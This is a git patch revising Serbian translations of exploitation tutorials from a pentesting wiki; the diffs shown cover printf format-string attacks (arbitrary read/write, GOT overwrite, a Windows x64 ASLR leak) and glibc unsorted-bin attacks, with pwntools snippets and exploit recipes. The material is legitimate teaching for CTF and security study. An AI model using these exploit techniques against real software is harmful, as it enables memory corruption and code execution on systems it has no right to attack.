From 344e59f181fe991d4fc3ea7d323491f98236931b Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 29 Aug 2025 12:29:47 +0000 Subject: [PATCH] Translated ['', 'src/binary-exploitation/stack-overflow/README.md', 'src --- .../format-strings/README.md | 93 +-- .../libc-heap/unsorted-bin-attack.md | 136 ++-- .../stack-overflow/README.md | 79 +-- .../stack-overflow/stack-shellcode/README.md | 76 +-- .../stack-overflow/windows-seh-overflow.md | 64 +- .../phishing-documents.md | 66 +- .../privilege-escalation/README.md | 548 ++++++++-------- .../arm64-basic-assembly.md | 535 ++++++++-------- .../pentesting-web/README.md | 221 ++++--- .../pentesting-web/apache.md | 86 +-- .../pentesting-web/ispconfig.md | 48 +- src/pentesting-web/command-injection.md | 23 +- src/pentesting-web/idor.md | 66 +- .../xs-search/css-injection/README.md | 200 +++--- .../xss-cross-site-scripting/README.md | 397 ++++++------ .../xss-cross-site-scripting/js-hoisting.md | 32 +- .../pentesting-ble-bluetooth-low-energy.md | 48 +- .../ad-certificates/README.md | 106 ++-- .../ad-certificates/domain-escalation.md | 467 +++++++------- .../uac-user-account-control.md | 146 ++--- .../README.md | 593 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 46 +- .../com-hijacking.md | 34 +- .../named-pipe-client-impersonation.md | 58 +- .../roguepotato-and-printspoofer.md | 50 +- 25 files changed, 2117 insertions(+), 2101 deletions(-) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index a0d0e970e..80003ecd7 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Osnovne informacije -U C-u **`printf`** je funkcija koja se može koristiti za **ispis** stringa. Prvi **parametar** koji ova funkcija očekuje je **sirovi tekst sa formatterima**. Sledeći **parametri** su **vrednosti** koje će **zameniti** formattere iz sirovog teksta. +U C **`printf`** je funkcija koja može da se koristi za **ispis** niza znakova. The **first parameter** this function expects is the **raw text with the formatters**. The **following parameters** expected are the **values** to **substitute** the **formatters** from the raw text. Ostale ranjive funkcije su **`sprintf()`** i **`fprintf()`**. -Ranljivost nastaje kada se kao **prvi argument** ovoj funkciji prosledi tekst koji kontroliše napadač. Napadač može da kreira **poseban ulaz koji zloupotrebljava** **printf format** string mogućnosti da pročita i **zapiše bilo koje podatke na bilo kojoj adresi (može se čitati/pisati)**. Na taj način se može postići **izvršavanje proizvoljnog koda**. +Ranljivost se pojavljuje kada se kao **prvi argument koristi tekst napadača** za ovu funkciju. Napadač će moći da kreira **poseban unos koji zloupotrebljava** mogućnosti **printf format** stringa da čita i **piše bilo koje podatke na bilo koju adresu (readable/writable)**. Na ovaj način može **izvršiti proizvoljan kod**. -#### Formateri: +#### Format specifieri: ```bash %08x —> 8 hex bytes %d —> Entire @@ -30,7 +30,7 @@ char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` -- Uobičajena upotreba: +- Normalna upotreba: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 @@ -52,28 +52,28 @@ fclose(output_file); return 0; } ``` -### **Pristupanje pokazivačima** +### **Pristup pokazivačima** -Format **`%$x`**, gde je `n` broj, omogućava printf-u da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate četvrti parametar sa steka koristeći printf, možete uraditi: +Format **`%$x`**, gde je `n` broj, omogućava printf-u da odabere n-ti parametar (from the stack). Dakle, ako želite da pročitate 4. parametar sa stack-a koristeći printf, možete uraditi: ```c printf("%x %x %x %x") ``` -i pročitao bi od prvog do četvrtog parametra. +i pročitali biste od prvog do četvrtog parametra. -Ili možete uraditi: +Ili biste mogli uraditi: ```c printf("%4$x") ``` -i direktno pročitati četvrtu poziciju. +i direktno pročitati četvrti. -Primetite da napadač kontroliše `printf` **parametar, što u suštini znači da** njegov unos će biti u stacku kada se `printf` pozove, što znači da bi mogao upisati specifične memorijske adrese u stack. +Obratite pažnju da napadač kontroliše `printf` **parametar, što u suštini znači da** njegov ulaz će biti u stack-u kada se pozove `printf`, što znači da bi mogao upisati specifične memory addresses u stacku. > [!CAUTION] -> Napadač koji kontroliše ovaj unos biće u mogućnosti da **doda proizvoljne adrese u stack i natera `printf` da im pristupi**. U narednom odeljku biće objašnjeno kako iskoristiti ovo ponašanje. +> Napadač koji kontroliše ovaj ulaz biće u mogućnosti da **add arbitrary address in the stack and make `printf` access them**. U sledećem odeljku biće objašnjeno kako iskoristiti ovo ponašanje. ## **Arbitrary Read** -Moguće je koristiti formatter **`%n$s`** da se natera **`printf`** da uzme **adresu** koja se nalazi na **n-toj poziciji**, da joj pristupi i **ispise je kao da je string** (ispisuje dok se ne naiđe na 0x00). Dakle, ako je baza binarnog fajla **`0x8048000`**, i znamo da korisnički unos počinje na 4. poziciji na stacku, moguće je ispisati početak binarija sa: +Moguće je koristiti formatter **`%n$s`** da natera **`printf`** da pročita **address** koji se nalazi na **n poziciji**, sledi ga i **odštampa kao da je string** (štampa dok se ne naiđe na 0x00). Dakle, ako je base address of the binary **`0x8048000`**, i znamo da user input počinje na 4. poziciji u stack-u, moguće je odštampati početak binary-a sa: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Imajte na umu da ne možete staviti adresu 0x8048000 na početak inputa jer će string biti cat u 0x00 na kraju te adrese. +> Imajte na umu da ne možete staviti adresu 0x8048000 na početak unosa jer će string biti prekinut na 0x00 na kraju te adrese. ### Pronađite offset -Da biste pronašli offset do vašeg inputa, možete poslati 4 ili 8 bajtova (`0x41414141`) praćeno sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`. +Da biste pronašli offset do vašeg unosa, možete poslati 4 ili 8 bajta (`0x41414141`) praćena sa **`%1$x`** i **povećavati** vrednost dok ne dobijete `A's`.
@@ -130,50 +130,50 @@ p.close() Arbitrary reads mogu biti korisni za: -- **Dump** the **binary** iz memorije -- **Pristup specifičnim delovima memorije gde se čuva osetljiva** **info** (kao što su canaries, encryption keys ili custom passwords kao u ovom [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** from memory +- **Pristup određenim delovima memory gde se čuva osetljiva** **info** (kao canaries, encryption keys ili custom passwords kao u ovom [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Formatter **`%$n`** **upisuje** **broj napisanih bajtova** u **naznačenu adresu** preko parametra na steku. Ako napadač može da upiše proizvoljan broj karaktera pomoću printf, moći će da natera **`%$n`** da upiše proizvoljan broj u proizvoljnu adresu. +Formatter **`%$n`** **upisuje** **broj napisanih bajtova** u **označenu adresu** u parametru na stack-u. Ako attacker može da napiše proizvoljan broj char-ova pomoću printf, biće u stanju da natera **`%$n`** da upiše proizvoljan broj na proizvoljnu adresu. -Srećom, da biste upisali broj 9999 nije potrebno dodavati 9999 "A"-ova u input; umesto toga moguće je koristiti formatter **`%.%$n`** da se upiše broj **``** u **adresu na koju pokazuje pozicija `num`**. +Srećom, da bi se upisao broj 9999, nije potrebno dodavati 9999 "A"-ova u input; umesto toga moguće je koristiti formatter **`%.%$n`** da se upiše broj **``** u **adresu na koju pokazuje pozicija `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Međutim, imajte na umu da se obično, da bi se upisala adresa kao što je `0x08049724` (što je OGROMAN broj za upis odjednom), koristi **$hn** umesto **$n**. To omogućava da se napišu **samo 2 bajta**. Stoga se ova operacija obavlja dvaput: jednom za najviša 2B adrese i drugi put za najniže. +Imajte na umu da se obično, da bi se upisala adresa kao što je `0x08049724` (što je OGROMAN broj za upis odjednom), umesto `$n` koristi **`$hn`**. To omogućava da se **upišu samo 2 bajta**. Zbog toga se operacija izvodi dva puta: jednom za gornja 2B adrese i drugi put za donja. Dakle, ova ranjivost omogućava da se **upiše bilo šta na bilo koju adresu (arbitrary write).** -U ovom primeru, cilj će biti da se **prepiše** **adresa** neke **funkcije** u **GOT** tabeli koja će biti pozvana kasnije. Iako bi se ovo moglo zloupotrebiti i drugim arbitrary write to exec tehnikama: +U ovom primeru cilj će biti da se **prepiše** **adresa** funkcije u **GOT** tabeli koja će biti pozvana kasnije. Iako bi se za ovo mogle iskoristiti i druge arbitrary write to exec tehnike: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Preći ćemo na **prepisivanje** **funkcije** koja **prima** svoje **argumente** od **korisnika** i usmeriti je na **`system`** **funkciju**.\ -Kao što je pomenuto, za upis adrese obično su potrebna 2 koraka: prvo se **upišu 2 bajta** adrese, a zatim i preostala 2. Za to se koristi **`$hn`**. +Prepišemo funkciju koja prima argumente od korisnika i usmerimo je na `system` funkciju.\ +Kao što je pomenuto, za upis adrese obično su potrebna 2 koraka: prvo se upišu 2 bajta adrese, a zatim druga 2. Za to se koristi **`$hn`**. -- **HOB** se odnosi na 2 najviša bajta adrese -- **LOB** se odnosi na 2 najniža bajta adrese +- **HOB** se odnosi na 2 viša bajta adrese +- **LOB** se odnosi na 2 niža bajta adrese -Zatim, zbog načina na koji format string funkcioniše, potrebno je prvo **upisati manji** od [HOB, LOB] i zatim drugi. +Zatim, zbog načina na koji format string radi, prvo treba upisati manji od \[HOB, LOB] a zatim drugi. -Ako je HOB < LOB\ +If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -Ako je HOB > LOB\ +If HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools šablon +### Pwntools predložak -Možete pronaći **šablon** za pripremu exploit-a za ovu vrstu ranjivosti u: +Možete pronaći **predložak** za pripremu exploit-a za ovu vrstu ranjivosti u: {{#ref}} @@ -199,25 +199,25 @@ p.sendline('/bin/sh') p.interactive() ``` -## Format Strings to BOF +## Format Strings u BOF -Moguće je zloupotrebiti write akcije format string ranjivosti da se **upiše u adrese stack-a** i iskoristi tip ranjivosti **buffer overflow**. +Moguće je zloupotrebiti write akcije format string ranjivosti kako bi se izvršio **write in addresses of the stack** i iskoristio **buffer overflow** tip ranjivosti. -## Windows x64: Format-string leak to bypass ASLR (no varargs) +## Windows x64: Format-string leak za zaobilaženje ASLR (no varargs) -Na Windows x64 prva četiri integer/pointer parametra se prosleđuju u registrima: RCX, RDX, R8, R9. U mnogim buggy call-sites string kojim upravlja napadač koristi se kao format argument, ali nisu prosleđeni variadic arguments, na primer: +Na Windows x64 prva četiri integer/pointer parametra se prosleđuju u registre: RCX, RDX, R8, R9. U mnogim buggy call-site-ovima niz koji kontroliše napadač koristi se kao format argument, ali nijedni varargs nisu prosleđeni, na primer: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Pošto se ne prosleđuju varargs, bilo koja konverzija poput "%p", "%x", "%s" nateraće CRT da pročita sledeći variadic argument iz odgovarajućeg registra. Sa Microsoft x64 calling convention prvi takav read za "%p" dolazi iz R9. Bilo koja tranzijentna vrednost koja se nalazi u R9 na mestu poziva biće odštampana. U praksi ovo često leaks a stable in-module pointer (npr. pokazivač na lokalni/globalni objekat ranije postavljen u R9 od strane okolnog koda ili callee-saved vrednosti), koji se može iskoristiti za povraćaj module base i zaobilaženje ASLR. +Pošto se ne prosleđuju varargs, bilo koja konverzija kao što su "%p", "%x", "%s" nateraće CRT da pročita sledeći variadic argument iz odgovarajućeg registra. Sa Microsoft x64 calling convention prvo takvo čitanje za "%p" dolazi iz R9. Bilo koja privremena vrednost koja se nalazi u R9 na mestu poziva biće odštampana. U praksi to često izaziva leak stabilnog in-module pointera (npr. pointer na lokalni/globalni objekat prethodno postavljen u R9 od strane okolnog koda ili vrednost sačuvana po pozivatelju), koji se može koristiti za oporavak module base i obilaženje ASLR. -Praktičan workflow: +Praktični tok rada: - Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering. -- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`. +- Zabeleži the leaked pointer, identifikuj statički offset tog objekta unutar modula (by reversing once with symbols or a local copy), i oporavi image base kao `leak - known_offset`. - Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely. Example (abbreviated python): @@ -232,26 +232,27 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -Napomene: -- Tačan offset koji treba oduzeti se pronađe jednom tokom lokalnog reversing-a i zatim se ponovo koristi (isti binary/version). -- Ako "%p" ne ispiše validan pointer pri prvom pokušaju, probajte druge specifiers ("%llx", "%s") ili višestruke konverzije ("%p %p %p") da biste uzorkovali druge argument registers/stack. -- Ovaj obrazac je specifičan za Windows x64 calling convention i printf-family implementacije koje dohvataju nepostojeće varargs iz registers kada format string to zahteva. +Beleške: +- Tačan offset koji treba oduzeti se pronađe jednom tokom local reversing i zatim se ponovo koristi (isti binary/version). +- Ako "%p" ne ispiše validan pointer pri prvom pokušaju, probajte druge specifiere ("%llx", "%s") ili više konverzija ("%p %p %p") da biste uzorkovali druge argument registers/stack. +- Ovaj obrazac je specifičan za Windows x64 calling convention i printf-family implementacije koje uzimaju nepostojeće varargs iz registara kada ih format string zahteva. -Ova tehnika je izuzetno korisna za bootstrap ROP na Windows services koje su kompajlirane sa ASLR i bez očiglednih memory disclosure primitives. +Ova tehnika je izuzetno korisna za bootstrap ROP na Windows servisima kompajliranim sa ASLR i bez očiglednih memory disclosure primitives. -## Drugi primeri & reference +## Ostali primeri & reference - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bit, no relro, no canary, nx, no pie, osnovna upotreba format strings za leak the flag sa stack-a (no need to alter the execution flow) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string za overwrite adresu `fflush` sa win funkcijom (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string za upis adrese unutar main u `.fini_array` (tako da tok izvršavanja napravi još jedno vraćanje) i upis adrese u `system` u GOT tabelu koja pokazuje na `strlen`. Kada tok izvršavanja ponovo ode u main, `strlen` se izvršava sa korisničkim inputom i, pošto pokazuje na `system`, izvršiće prosleđene komande. +- 32 bit, relro, no canary, nx, no pie, format string za upis adrese unutar main u `.fini_array` (tako da se flow vrati još 1 put) i za upis adrese `system` u GOT tabelu koja trenutno pokazuje na `strlen`. Kada se flow vrati u main, `strlen` će biti izvršen sa korisničkim inputom i, pošto pokazuje na `system`, izvršiće prosleđene komande. -## References + +## Reference - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index d67ac9a2f..c75d805f1 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -11,63 +11,63 @@ Za više informacija o tome šta je unsorted bin pogledajte ovu stranicu: bins-and-memory-allocations.md {{#endref}} -Unsorted liste mogu da upišu adresu u `unsorted_chunks (av)` u `bk` adresu chunk‑a. Dakle, ako napadač može **izmeniti adresu `bk` pokazivača** u chunk‑u unutar unsorted bin, mogao bi biti u mogućnosti da **upiše tu adresu na proizvoljnu lokaciju**, što može pomoći da se leak Glibc adresa ili da se zaobiđu neke odbrane. +Unsorted lists mogu upisati adresu `unsorted_chunks (av)` u `bk` polje chanka. Dakle, ako napadač može **izmeniti adresu `bk` pokazivača** u chunk-u koji se nalazi u unsorted bin, mogao bi biti u mogućnosti da **upise tu adresu na proizvoljnu adresu**, što može pomoći da se leak-uje Glibc adresa ili zaobiđu neke zaštite. -Dakle, u suštini, ovaj napad omogućava da se **postavi veliki broj na proizvoljnu adresu**. Taj veliki broj je adresa, koja može biti heap adresa ili Glibc adresa. Tradicionalni cilj je bio **`global_max_fast`** kako bi se omogućilo kreiranje fast bin‑ova sa većim veličinama (i prelazak iz unsorted bin napada u fast bin napad). +Dakle, u suštini, ovaj napad omogućava da se **postavi veliki broj na proizvoljnu adresu**. Taj veliki broj je adresa, koja može biti heap adresa ili Glibc adresa. Tradicionalni cilj je bio **`global_max_fast`** da bi se omogućilo kreiranje fast bin-ova većih veličina (i preći iz unsorted bin attack u fast bin attack). -- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive. +- Moderno zabeleška (glibc ≥ 2.39): `global_max_fast` je postao 8‑bitni global. Besciljno upisivanje pokazivača tamo preko unsorted-bin write će prebrisati susedne podatke u libc-u i više neće pouzdano podići limit fastbina. Preferirajte druge ciljeve ili druge primitive protiv glibc 2.39+. Pogledajte "Modern constraints" ispod i razmotrite kombinovanje sa drugim tehnikama kao što su [large bin attack](large-bin-attack.md) ili [fast bin attack](fast-bin-attack.md) kad imate stabilnu primitivu. > [!TIP] -> T> Ako pogledate primer dat na [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i koristite 0x4000 i 0x5000 umesto 0x400 i 0x500 kao veličine chunk‑ova (da izbegnete Tcache), može se videti da se **sada** javlja greška **`malloc(): unsorted double linked list corrupted`**. +> T> Uzimajući u obzir primer iz [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) i koristeći 0x4000 i 0x5000 umesto 0x400 i 0x500 kao veličine chunk-ova (da biste izbegli Tcache) moguće je videti da **sada** greška **`malloc(): unsorted double linked list corrupted`** biva pokrenuta. > -> Dakle, ovaj unsorted bin napad sada (pored drugih provera) takođe zahteva mogućnost da se ispravi dvostruko povezani spisak da bi se zaobišle provere `victim->bk->fd == victim` ili `victim->fd == av (arena)`, što znači da adresa na koju želimo da upišemo mora imati adresu lažnog chunk‑a u svojoj `fd` poziciji i da lažni chunk‑ov `fd` pokazuje na arena. +> Dakle, ovaj unsorted bin attack sada (između ostalih provera) takođe zahteva da se dvostruko vezana lista može popraviti da bi se izbeglo abortovanje `victim->bk->fd == victim` ili `victim->fd == av (arena)`, što znači da adresa na koju želimo da upišemo mora imati adresu lažnog chanka na svojoj `fd` poziciji i da lažni chunk `fd` pokazuje na arena. > [!CAUTION] -> Imajte na umu da ovaj napad korumpira unsorted bin (a time i small i large). Zato sada možemo da **koristimo samo alokacije iz fast bin‑a** (komplikovaniji program može uraditi druge alokacije i srušiti se), i da bismo ovo pokrenuli moramo **alokirati istu veličinu ili će program puknuti.** +> Imajte na umu da ovaj napad korumpira unsorted bin (a time i small i large). Dakle sada možemo koristiti samo alokacije iz fast bin-a (kompleksniji program može izvršiti druge alokacije i srušiti se), i da bismo to pokrenuli moramo alocirati istu veličinu ili će se program srušiti. > -> Takođe, prepisivanje **`global_max_fast`** može pomoći u ovom slučaju ukoliko se veruje da će fast bin uspeti da opsluži sve ostale alokacije dok exploit ne bude završen. +> Imajte na umu da prepisivanje **`global_max_fast`** može pomoći u ovom slučaju uz verovanje da će fast bin moći da se pozabavi svim ostalim alokacijama dok exploit ne bude završen. -Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) to vrlo dobro objašnjava, i ipak ako modifikujete malloc pozive da alociraju memoriju dovoljno veliku da ne završe u Tcache, možete videti da se ranije pomenuta greška pojavljuje i onemogućava ovu tehniku: **`malloc(): unsorted double linked list corrupted`** +Kod od [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) to vrlo dobro objašnjava, mada ako modifikujete malloc-ove da alociraju memoriju dovoljno veliku da ne završe u Tcache, možete videti da se pojavljuje ranije pomenuta greška koja ovu tehniku onemogućava: **`malloc(): unsorted double linked list corrupted`** -### Kako se upis zapravo dešava +### Kako se zapravo vrši upis -- Unsorted‑bin upis se aktivira pri `free` kada se oslobođeni chunk umetne na početak unsorted liste. -- Tokom umetanja, alokator izvršava `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` -- Ako možete postaviti `victim->bk` na `(mchunkptr)(TARGET - 0x10)` pre nego što pozovete `free(victim)`, finalna naredba će izvršiti upis: `*(TARGET) = victim`. -- Kasnije, kada alokator procesuira unsorted bin, integritet provere će verificirati (između ostalog) da je `bck->fd == victim` i `victim->fd == unsorted_chunks(av)` pre nego što uradi unlink. Pošto je umetanje već upisalo `victim` u `bck->fd` (naš `TARGET`), ove provere mogu biti zadovoljene ako je upis uspeo. +- The unsorted-bin write se pokreće pri `free` kada se oslobođeni chunk ubacuje na početak unsorted liste. +- Tokom umetanja, allocator izvršava `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` +- Ako možete podesiti `victim->bk` na `(mchunkptr)(TARGET - 0x10)` pre poziva `free(victim)`, poslednja naredba će izvršiti upis: `*(TARGET) = victim`. +- Kasnije, kada allocator procesuira unsorted bin, integritet provere će potvrditi (između ostalog) da je `bck->fd == victim` i `victim->fd == unsorted_chunks(av)` pre unlink-ovanja. Pošto je umetanje već upisalo `victim` u `bck->fd` (naš `TARGET`), ove provere mogu biti zadovoljene ako je upis uspeo. -## Savremena ograničenja (glibc ≥ 2.33) +## Moderni zahtevi (glibc ≥ 2.33) -Da biste pouzdano koristili unsorted‑bin upise na trenutnim glibc verzijama: +Da biste pouzdano koristili unsorted‑bin writes na savremenom glibc: -- Interferencija tcache‑a: za veličine koje spadaju u tcache, free pozivi se preusmeravaju tamo i neće dotaknuti unsorted bin. Ili: +- Tcache interferencija: za veličine koje spadaju u tcache, free-ovi su preusmereni tamo i neće dotaknuti unsorted bin. Ili - pravite zahteve sa veličinama > MAX_TCACHE_SIZE (≥ 0x410 na 64‑bit po defaultu), ili - - napunite odgovarajući tcache bin (7 unosa) tako da dodatni free‑ovi dospeju do globalnih binova, ili - - ako je okruženje kontrolisano, onemogućite tcache (npr. GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Provere integriteta na unsorted listi: pri sledećem putu alokacije koji pregleda unsorted bin, glibc proverava (pojednostavljeno): - - `bck->fd == victim` i `victim->fd == unsorted_chunks(av)`; u suprotnom abortira sa `malloc(): unsorted double linked list corrupted`. -- To znači da adresa koju ciljate mora podneti dva upisa: prvo `*(TARGET) = victim` u vreme free‑a; kasnije, dok se chunk uklanja, `*(TARGET) = unsorted_chunks(av)` (alokator ponovo upisuje `bck->fd` nazad na glavu binga). Birajte ciljeve gde jednostavno forsiranje velike nenultе vrednosti ima smisla. -- Tipični stabilni ciljevi u modernim exploitima: - - Stanje aplikacije ili globalno stanje koje tretira "velike" vrednosti kao zastavice/limite. - - Indirektni primitivи (npr. priprema za naknadni [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ili da se pivotira kasniji write‑what‑where). + - napunite odgovarajući tcache bin (7 unosa) tako da dodatni free-ovi dosegnu global bins, ili + - ako je okruženje podesivo, onemogućite tcache (npr. GLIBC_TUNABLES glibc.malloc.tcache_count=0). +- Integritet provere na unsorted listi: na sledećem putu alokacije koji pregleda unsorted bin, glibc proverava (pojednostavljeno): + - `bck->fd == victim` i `victim->fd == unsorted_chunks(av)`; u suprotnom abortuje sa `malloc(): unsorted double linked list corrupted`. +- To znači da adresa koju ciljate mora podneti dva upisa: prvo `*(TARGET) = victim` pri free‑vremenu; kasnije, dok se chunk uklanja, `*(TARGET) = unsorted_chunks(av)` (allocator ponovo upisuje `bck->fd` nazad na bin head). Birajte ciljeve gde samo forsiranje velike nenulte vrednosti ima smisla. +- Tipični stabilni ciljevi u modernim exploit-ima + - Stanje aplikacije ili globalno stanje koje tretira "velike" vrednosti kao flags/limits. + - Indirektne primitive (npr., priprema za naredni [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) ili za pivot kasnijeg write‑what‑where). - Izbegavajte `__malloc_hook`/`__free_hook` na novom glibc: uklonjeni su u 2.34. Izbegavajte `global_max_fast` na ≥ 2.39 (vidi sledeću napomenu). -- O `global_max_fast` na novijim glibc: - - Na glibc 2.39+, `global_max_fast` je 8‑bitna globalna promenljiva. Klasičan trik upisa heap pokazivača u nju (da bi se povećali fastbin‑i) više ne funkcioniše čisto i verovatno će korumpirati susedno stanje alokatora. Preferirajte druge strategije. +- O `global_max_fast` na novijim glibc verzijama + - Na glibc 2.39+, `global_max_fast` je 8‑bitni global. Klasičan trik upisivanja heap pokazivača u njega (da bi se uvećali fastbin-ovi) više ne radi čisto i verovatno će korumpirati susedno stanje allocator‑a. Preferirajte druge strategije. -## Minimalni recept za eksploataciju (moderni glibc) +## Minimalni recept za exploit (moderni glibc) -Cilj: postići jedan proizvoljan upis heap pokazivača na proizvoljnu adresu koristeći unsorted‑bin insertion primitiv, bez pada programa. +Cilj: ostvariti jedan arbitrarni upis heap pointer-a na proizvoljnu adresu koristeći unsorted‑bin insertion primitive, bez rušenja. -- Raspored / priprema - - Alocirajte A, B, C sa veličinama dovoljno velikim da zaobiđu tcache (npr. 0x5000). C sprečava konsolidaciju sa top chunk‑om. -- Korupcija - - Overflow iz A u B‑jev chunk header da se postavi `B->bk = (mchunkptr)(TARGET - 0x10)`. -- Okidač - - `free(B)`. U vreme umetanja alokator izvršava `bck->fd = B`, dakle `*(TARGET) = B`. -- Nastavak - - Ako planirate da nastavite sa alokacijama i program koristi unsorted bin, očekujte da će alokator kasnije postaviti `*(TARGET) = unsorted_chunks(av)`. Obe vrednosti su tipično velike i mogu biti dovoljne da promene semantiku veličine/limita u ciljevima koji samo proveravaju da li je vrednost "velika". +- Layout/grooming + - Alocirajte A, B, C veličina dovoljno velikih da zaobiđu tcache (npr. 0x5000). C sprečava konsolidaciju sa top chunk-om. +- Corruption + - Overflow iz A u B‑ev chunk header da se postavi `B->bk = (mchunkptr)(TARGET - 0x10)`. +- Trigger + - `free(B)`. U trenutku umetanja allocator izvršava `bck->fd = B`, dakle `*(TARGET) = B`. +- Continuation + - Ako planirate da nastavite sa alokacijama i program koristi unsorted bin, očekujte da će allocator kasnije postaviti `*(TARGET) = unsorted_chunks(av)`. Obe vrednosti su tipično velike i mogu biti dovoljne da promene semantiku veličine/limita za ciljeve koji samo proveravaju "veliko". -Pseudokod skelet: +Skelet pseudokoda: ```c // 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes) void *A = malloc(0x5000); @@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • Ako ne možete да заобиђете tcache помоћу величине, попуните tcache bin за изабрану величину (7 frees) пре него што ослободите corrupted chunk тако да free иде у unsorted. -> • Ако програм одмах abort-ује при следећој алокацији због unsorted-bin checks, поново проверите да ли `victim->fd` и даље једнако вреди као bin head и да ли ваш `TARGET` држи тачан `victim` pointer након првог write-а. +> • Ako ne možete zaobići tcache preko veličine, napunite tcache bin za izabranu veličinu (7 frees) pre nego što oslobodite korumpirani chunk, tako da free ode u unsorted. +> • Ako program odmah abortira pri sledećoj alokaciji zbog unsorted-bin checks, ponovo proverite da li `victim->fd` i dalje jednak bin head-u i da li vaš `TARGET` drži tačan `victim` pokazivač nakon prvog upisa. ## Unsorted Bin Infoleak Attack -This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\ -Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**. +Ovo je zapravo vrlo osnovan koncept. Chunk-ovi u unsorted bin-u će imati pokazivače. Prvi chunk u unsorted bin-u će 